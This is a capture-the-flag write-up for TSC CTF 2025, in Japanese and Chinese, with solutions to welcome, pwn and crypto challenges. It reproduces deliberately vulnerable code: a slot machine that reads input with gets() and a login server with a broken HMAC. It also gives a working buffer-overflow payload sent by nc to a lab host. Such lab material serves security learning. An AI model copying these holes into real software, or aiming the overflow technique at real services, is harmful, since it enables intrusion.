TSC CTF 2025 Writeup

TSC CTF 2025 Writeup

Welcome

Please Join Our Discord!!!

想要我的 Flag 嗎?想要的話就送給你吧!
自己去找吧,我把它埋藏在那裡了 於是...許多人爭相前往「TSCCTF Discord」,
並追逐著這個夢想 所以,當時的年代可以說是一個「大資安時代」!

Japanese

私の旗が欲しいですか?欲しかったらあげますよ!
自分で探してください。私が埋めたんです。それで...多くの人が「TSCCTF Discord」に殺到しました。
そしてこの夢を追いかける、当時の時代は「サイバーセキュリティ大時代」とも言える時代でした!

なんか意外と時間かかったw
staffがstartのタイミングでメッセージ残していると思ったが,,,

そしたらここにあったwwww

TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}

Give you a free flag

這裡據說藏了個 Flag

Japanese

ここには旗が隠されていると言われています。

なんかAuthorの下が異様に長く,怪しかった.
マウスカーソルで選択すると見えました.

Pwn

gamble_bad_bad

就
拉霸機
非常好玩的拉霸機
你有辦法贏得大獎嗎?

Japanese

すぐに
スロットマシン
とても楽しいスロットマシン
あなたにはジャックポットを勝ち取る力がありますか?
//main.cpp
#include <string.h>
#include <iostream>
#include <stdio.h>
using namespace std;

void jackpot() {
    char flag[50];
    FILE *f = fopen("/home/gamble/flag.txt", "r");
    if (f == NULL) {
        printf("錯誤:找不到 flag 檔案\n");
        return;
    }
    fgets(flag, 50, f);
    fclose(f);

    printf("恭喜你中了 777 大獎!\n");
    printf("Flag 是:%s", flag);
}

struct GameState {
   char buffer[20];
   char jackpot_value[4];
} game;

void spin() {
   strcpy(game.jackpot_value, "6A6");

   printf("輸入你的投注金額:");
   gets(game.buffer);

   printf("這次的結果為:%s\n", game.jackpot_value);

   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾,你沒中獎,再試一次吧!\n");
   }
}

int main() {
   setvbuf(stdout, NULL, _IONBF, 0);
   setvbuf(stdin, NULL, _IONBF, 0);
   printf("歡迎來到拉霸機!試著獲得 777 大獎吧!\n");
   spin();
   return 0;
}

main.cpp脆弱性

  • ユーザー入力を受け取る際にgets関数が使用されており,入力サイズの制限がない
  • game.bufferは20バイトしか確保されていないため,長い入力によって隣接するメモリ領域(game.jackpot_value)が上書きされる可能性がある

攻撃ポイント
1. game.jackpot_value を "777" に書き換える
2. strcmp(game.jackpot_value, "777") == 0 を満たして,jackpot() を呼び出す

攻撃手法
game.bufferの20バイトを埋め,その後に"777"を配置する

$ python3 -c "print('A' * 20 + '777')" | nc 172.31.0.2 1337
歡迎來到拉霸機!試著獲得 777 大獎吧!
輸入你的投注金額:這次的結果為:777
恭喜你中了 777 大獎!
Flag 是:TSC{Gamb1e_Very_bad_bad_but_}

TSC{Gamb1e_Very_bad_bad_but_}

Crypto

Very simple Login

nc 172.31.2.2 36900

# server.py
import base64
import hashlib
import json
import os
import re
import sys
import time
from secret import FLAG


def xor(message0: bytes, message1: bytes) -> bytes:
    return bytes(byte0 & byte1 for byte0, byte1 in zip(message0, message1))


def sha256(message: bytes) -> bytes:
    return hashlib.sha256(message).digest()


def hmac_sha256(key: bytes, message: bytes) -> bytes:
    blocksize = 64
    if len(key) > blocksize:
        key = sha256(key)
    if len(key) < blocksize:
        key = key + b'\x00' * (blocksize - len(key))
    o_key_pad = xor(b'\x5c' * blocksize, key)
    i_key_pad = xor(b'\x3c' * blocksize, key)
    return sha256(o_key_pad + sha256(i_key_pad) + message)


def sha256_jwt_dumps(data: dict, exp: int, key: bytes):
    header = {'alg': 'HS256', 'typ': 'JWT'}
    payload = {'sub': data, 'exp': exp}
    header = base64.urlsafe_b64encode(json.dumps(header).encode())
    payload = base64.urlsafe_b64encode(json.dumps(payload).encode())
    signature = hmac_sha256(key, header + b'.' + payload)
    signature = base64.urlsafe_b64encode(signature).rstrip(b'=')
    return header + b'.' + payload + b'.' + signature


def sha256_jwt_loads(jwt: bytes, exp: int, key: bytes) -> dict | None:
    header_payload, signature = jwt.rsplit(b'.', 1)

    sig = hmac_sha256(key, header_payload)
    sig = base64.urlsafe_b64encode(sig).rstrip(b'=')
    if sig != signature:
        raise ValueError('JWT error')

    try:
        header, payload = header_payload.split(b'.')[0], header_payload.split(b'.')[-1]
        header = json.loads(base64.urlsafe_b64decode(header))
        payload = json.loads(base64.urlsafe_b64decode(payload))
        if (header.get('alg') != 'HS256') or (header.get('typ') != 'JWT'):
            raise ValueError('JWT error')
        if int(payload.get('exp')) < exp:
            raise ValueError('JWT error')
    except Exception:
        raise ValueError('JWT error')
    return payload.get('sub')


def register(username: str, key: bytes):
    if re.fullmatch(r'[A-z0-9]+', username) is None:
        raise ValueError("'username' format error.")
    return sha256_jwt_dumps({'username': username}, int(time.time()) + 86400, key)


def login(token: bytes, key: bytes):
    userdata = sha256_jwt_loads(token, int(time.time()), key)
    return userdata['username']


def menu():
    for _ in range(32):
        print('==================')
        print('1. Register')
        print('2. Login')
        print('3. Exit')
        try:
            choice = int(input('> '))
        except Exception:
            pass
        if 1 <= choice <= 3:
            return choice
        print('Error choice !', end='\n\n')
    sys.exit()


def main():
    key = os.urandom(32)
    for _ in range(32):
        choice = menu()
        if choice == 1:
            username = input('Username > ')
            try:
                token = register(username, key)
            except Exception:
                print('Username Error !', end='\n\n')
                continue
            print(f'Token : {token.hex()}', end='\n\n')
        if choice == 2:
            token = bytes.fromhex(input('Token > '))
            try:
                username = login(token, key)
            except Exception:
                print('Token Error !', end='\n\n')
            if username == 'Admin':
                print(f'FLAG : {FLAG}', end='\n\n')
                sys.exit()
            else:
                print('FLAG : TSC{???}', end='\n\n')
        if choice == 3:
            sys.exit()


if __name__ == '__main__':
    try:
        main()
    except Exception:
        sys.exit()
    except KeyboardInterrupt:
        sys.exit()

Flagが取れる条件
以下のif文がTrueであればいいので,
usernameAdminとすればよい.

if username == 'Admin':
    print(f'FLAG : {FLAG}', end='\n\n')
$ nc 172.31.2.2 36900
==================
1. Register
2. Login
3. Exit
> 1
Username > Admin
Token : 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d444d334d54557a66513d3d2e566a4b5a68446857526464334c6f3877674e7154664b636f5057655f795a5a795235596b30614b546d3930

1を選択し,UsernameAdminで登録.
そうするとTokenが作成される.
この後は,TokenをLoginで用いる.

==================
1. Register
2. Login
3. Exit
> 2
Token > 65794a68624763694f69416953464d794e5459694c43416964486c77496a6f67496b705856434a392e65794a7a645749694f694237496e567a5a584a755957316c496a6f67496b466b62576c75496e307349434a6c654841694f6941784e7a4d334d444d334d54557a66513d3d2e566a4b5a68446857526464334c6f3877674e7154664b636f5057655f795a5a795235596b30614b546d3930
FLAG : TSC{Wr0nG_HM4C_7O_L3A_!!!}

TSC{Wr0nG_HM4C_7O_L3A_!!!}

Classic

The classic never fade.
# flag
o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"
# chal.py
import os
import string
import secrets

flag = os.getenv("FLAG") or "TSC{test_flag}"

charset = string.digits + string.ascii_letters + string.punctuation
A, B = secrets.randbelow(2**32), secrets.randbelow(2**32)
assert len(set((A * x + B) % len(charset) for x in range(len(charset)))) == len(charset)

enc = "".join(charset[(charset.find(c) * A + B) % len(charset)] for c in flag)
print(enc)

まずは,AとBを求める.
そのあとは,AとBを使って復号する.

import string

enc = 'o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV"'

charset = string.digits + string.ascii_letters + string.punctuation
charset_len = len(charset)

def decrypt(enc, A, B):
    dec = []
    for c in enc:
        enc_index = charset.find(c)
        if enc_index == -1:
            return None
        orig_index = (enc_index - B) * pow(A, -1, charset_len) % charset_len
        dec.append(charset[orig_index])
    return ''.join(dec)

for A in range(1, charset_len):
    if len(set((A * x) % charset_len for x in range(charset_len))) != charset_len:
        continue
    for B in range(charset_len):
        flag = decrypt(enc, A, B)
        if flag and flag.startswith("TSC{"):
            print(f" A: {A}, B: {B}, flag: {flag}")
            break
$ python3 solved.py
 A: 29, B: 27, flag: TSC{c14551c5_c1ph3r5_4r5_fr4g17e}

TSC{c14551c5_c1ph3r5_4r5_fr4g17e}